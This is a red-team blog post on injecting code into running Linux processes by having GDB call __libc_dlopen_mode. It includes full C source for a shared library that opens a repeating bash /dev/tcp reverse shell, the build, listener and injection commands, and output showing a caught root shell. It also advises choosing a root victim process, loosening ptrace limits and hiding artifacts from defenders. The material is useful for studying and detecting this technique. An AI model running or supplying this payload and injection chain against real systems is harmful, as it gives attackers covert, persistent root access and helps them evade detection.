Process Injection with GDB

magisterquis.github.io/2018/03/11/process-injection-with-gdb.html

Inspired by excellent CobaltStrike training, I set out to work out an easy way to inject into processes in Linux. There's been quite a lot of experimentation with this already, usually using `ptrace(2)` or `LD_PRELOAD`, but I wanted something a little simpler and less error-prone, perhaps trading ease-of-use for flexibility and works-everywhere. Enter GDB and shared object files (i.e. libraries).

GDB, for those who've never found themselves with a bug unsolvable with lots of well-placed `printf("Here\n")` statements, is the GNU debugger. It's typical use is to poke at a runnnig process for debugging, but it has one interesting feature: it can have the debugged process call library functions. There are two functions which we can use to load a library into to the program: `dlopen(3)` from libdl, and `__libc_dlopen_mode`, libc's implementation. We'll use `__libc_dlopen_mode` because it doesn't require the host process to have libdl linked in.

In principle, we could load our library and have GDB call one of its functions. Easier than that is to have the library's constructor function do whatever we would have done manually in another thread, to keep the amount of time the process is stopped to a minimum. More below.

Caveats

Trading flexibility for ease-of-use puts a few restrictions on where and how we can inject our own code. In practice, this isn't a problem, but there are a few gotchas to consider.

`ptrace(2)`

We'll need to be able to attach to the process with `ptrace(2)`, which GDB uses under the hood. Root can usually do this, but as a user, we can only attach to our own processes. To make it harder, some systems only allow processes to attach to their children, which can be changed via a sysctl. Changing the sysctl requires root, so it's not very useful in practice. Just in case:

```
sysctl kernel.yama.ptrace_scope=0
# or
echo 0 > /proc/sys/kernel/yama/ptrace_scope
```

Generally, it's better to do this as root.

Stopped Processes

When GDB attaches to a process, the process is stopped. It’s best to script GDB’s actions beforehand, either with `-x` and `--batch` or `echo`ing commands to GDB minimize the amount of time the process isn’t doing whatever it should be doing. If, for whatever reason, GDB doesn’t restart the process when it exits, sending the process `SIGCONT` should do the trick.

```
kill -CONT <PID>
```

Process Death

Once our library’s loaded and running, anything that goes wrong with it (e.g. segfaults) affects the entire process. Likewise, if it writes output or sends messages to syslog, they’ll show up as coming from the process. It’s not a bad idea to use the injected library as a loader to spawn actual malware in new proceses.

On Target

With all of that in mind, let’s look at how to do it. We’ll assume ssh access to a target, though in principle this can (should) all be scripted and can be run with shell/sql/file injection or whatever other method.

Process Selection

First step is to find a process into which to inject. Let’s look at a process listing, less kernel threads:

```
root@ubuntu-s-1vcpu-1gb-nyc1-01:~# ps -fxo pid,user,args | egrep -v ' \[\S+\]$'
  PID USER     COMMAND
    1 root     /sbin/init
  625 root     /lib/systemd/systemd-journald
  664 root     /sbin/lvmetad -f
  696 root     /lib/systemd/systemd-udevd
 1266 root     /sbin/iscsid
 1267 root     /sbin/iscsid
 1273 root     /usr/lib/accountsservice/accounts-daemon
 1278 root     /usr/sbin/sshd -D
 1447 root      \_ sshd: root@pts/1
 1520 root          \_ -bash
 1538 root              \_ ps -fxo pid,user,args
 1539 root              \_ grep -E --color=auto -v  \[\S+\]$
 1282 root     /lib/systemd/systemd-logind
 1295 root     /usr/bin/lxcfs /var/lib/lxcfs/
 1298 root     /usr/sbin/acpid
 1312 root     /usr/sbin/cron -f
 1316 root     /usr/lib/snapd/snapd
 1356 root     /sbin/mdadm --monitor --pid-file /run/mdadm/monitor.pid --daemonise --
scan --syslog
 1358 root     /usr/lib/policykit-1/polkitd --no-debug
 1413 root     /sbin/agetty --keep-baud 115200 38400 9600 ttyS0 vt220
 1415 root     /sbin/agetty --noclear tty1 linux
 1449 root     /lib/systemd/systemd --user
 1451 root      \_ (sd-pam)
```

Some good choices in there. Ideally we'll use a long-running process which nobody's going to want to kill. Processes with low pids tend to work nicely, as they're started early and nobody wants to find out what happens when they die. It's helpful to inject into something running as root to avoid having to worry about permissions. Even better is a process that nobody wants to kill but which isn't doing anything useful anyway.

In some cases, something short-lived, killable, and running as a user is good if the injected code only needs to run for a short time (e.g. something to survey the box, grab creds, and leave) or if there's a good chance it'll need to be stopped the hard way. It's a judgement call.

We'll use `664 root /sbin/lvmetad -f`. It should be able to do anything we'd like and if something goes wrong we can restart it, *probably* without too much fuss.

Malware

More or less any linux shared object file can be injected. We'll make a small one for demonstration purposes, but I've injected multi-megabyte backdoors written in Go as well. A lot of the fiddling that went into making this blog post was done using pcapknock.

For the sake of simplicity, we'll use the following. Note that a lot of error handling has been elided for brevity. In practice, getting meaningful error output from injected libraries' constructor functions isn't as straightforward as a simple `warn("something"); return;` unless you really trust the standard error of your victim process.

```
#include <pthread.h>
#include <stdlib.h>
#include <unistd.h>

#define SLEEP  120                    /* Time to sleep between callbacks */
#define CBADDR "<REDACTED>"           /* Callback address */
#define CBPORT "4444"                 /* Callback port */

/* Reverse shell command */
#define CMD "echo 'exec >&/dev/tcp/"\
            CBADDR "/" CBPORT "; exec 0>&1' | /bin/bash"

void *callback(void *a);

__attribute__((constructor)) /* Run this function on library load */
void start_callbacks(){
        pthread_t tid;
        pthread_attr_t attr;

        /* Start thread detached */
        if (-1 == pthread_attr_init(&attr)) {
                return;
        }
        if (-1 == pthread_attr_setdetachstate(&attr,
                                PTHREAD_CREATE_DETACHED)) {
                return;
        }

        /* Spawn a thread to do the real work */
        pthread_create(&tid, &attr, callback, NULL);
}

/* callback tries to spawn a reverse shell every so often.  */
void *
callback(void *a)
{
        for (;;) {
                /* Try to spawn a reverse shell */
                system(CMD);
                /* Wait until next shell */
                sleep(SLEEP);
        }
        return NULL;
}
```

In a nutshell, this will spawn an unencrypted, unauthenticated reverse shell to a hardcoded address and port every couple of minutes. The `__attribute__((constructor))` applied to `start_callbacks()` causes it to run when the library is loaded. All `start_callbacks()` does is spawn a thread to make reverse shells.

Building a library is similar to building any C program, except that `-fPIC` and `-shared` must be given to the compiler.

```
cc -O2 -fPIC -o libcallback.so ./callback.c -lpthread -shared
```

It's not a bad idea to optimize the output with `-O2` to maybe consume less CPU time. Of course, on a real engagement the injected library will be significantly more complex than this example.

Injection

Now that we have the injectable library created, we can do the deed. First thing to do is start a listener to catch the callbacks:

```
nc -nvl 4444 #OpenBSD netcat ftw!
```

`__libc_dlopen_mode` takes two arguments, the path to the library and flags as an integer. The path to the library will be visible, so it's best to put it somewhere inconspicuous, like `/usr/lib`. We'll use `2` for the flags, which corresponds to `dlopen(3)`'s RTLD_NOW. To get GDB to cause the process to run the function, we'll use GDB's `print` command, which conviently gives us the function's return value. Instead of typing the command into GDB, which takes eons in program time, we'll echo it into GDB's standard input. This has the nice side-effect of causing GDB to exit without needing a `quit` command.

```
root@ubuntu-s-1vcpu-1gb-nyc1-01:~# echo 'print
__libc_dlopen_mode("/root/libcallback.so", 2)' | gdb -p 664
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
...snip...
0x00007f6ca1cf75d3 in select () at ../sysdeps/unix/syscall-template.S:84
84      ../sysdeps/unix/syscall-template.S: No such file or directory.
(gdb) [New Thread 0x7f6c9bfff700 (LWP 1590)]
$1 = 312536496
(gdb) quit
A debugging session is active.

        Inferior 1 [process 664] will be detached.

Quit anyway? (y or n) [answered Y; input not from terminal]
Detaching from program: /sbin/lvmetad, process 664
```

Checking netcat, we've caught the callback:

```
[stuart@c2server:/home/stuart]
$ nc -nvl 4444
Connection from <REDACTED> 50184 received!
ps -fxo pid,user,args
...snip...
  664 root     /sbin/lvmetad -f
 1591 root      \_ sh -c echo 'exec >&/dev/tcp/<REDACTED>/4444; exec 0>&1' |
/bin/bash
 1593 root          \_ /bin/bash
 1620 root              \_ ps -fxo pid,user,args
...snip...
```

That's it, we've got execution in another process.

If the injection had failed, we'd have seen `$1 = 0`, indicating `__libc_dlopen_mode` returned `NULL`.

Artifacts

There are several places defenders might catch us. The risk of detection can be minimized to a certain extent, but without a rootkit, there's always some way to see we've done something. Of course, the best way to hide is to not raise suspicions in the first place.

Process listing

A process listing like the one above will show that the process into which we've injected malware has funny child processes. This can be avoided by either having the library doule-fork a child process to do the actual work or having the injected library do everything from within the victim process.

Files on disk

The loaded library has to start on disk, which leaves disk artifacts, and the original path to the library is visible in `/proc/pid/maps`:

```
root@ubuntu-s-1vcpu-1gb-nyc1-01:~# cat /proc/664/maps
...snip...
7f6ca0650000-7f6ca0651000 r-xp 00000000 fd:01 61077    /root/libcallback.so
7f6ca0651000-7f6ca0850000 ---p 00001000 fd:01 61077    /root/libcallback.so
7f6ca0850000-7f6ca0851000 r--p 00000000 fd:01 61077    /root/libcallback.so
7f6ca0851000-7f6ca0852000 rw-p 00001000 fd:01 61077    /root/libcallback.so
...snip...
```

If we delete the library, `(deleted)` is appended to the filename (i.e. `/root/libcallback.so (deleted)`), which looks even weirder. This is somewhat mitigated by putting the library somewhere libraries normally live, like `/usr/lib`, and naming it something normal-looking.

Service disruption

Loading the library stops the running process for a short amount of time, and if the library causes process instability, it may crash the process or at least cause it to log warning messages (on a related note, don't inject into systemd(1), it causes segfaults and makes `shutdown(8)` hang the box).

TL;DR

Process injection on Linux is reasonably easy:

1. Write a library (shared object file) with a constructor.
2. Load it with `echo 'print __libc_dlopen_mode("/path/to/library.so", 2)' | gdb -p <PID>`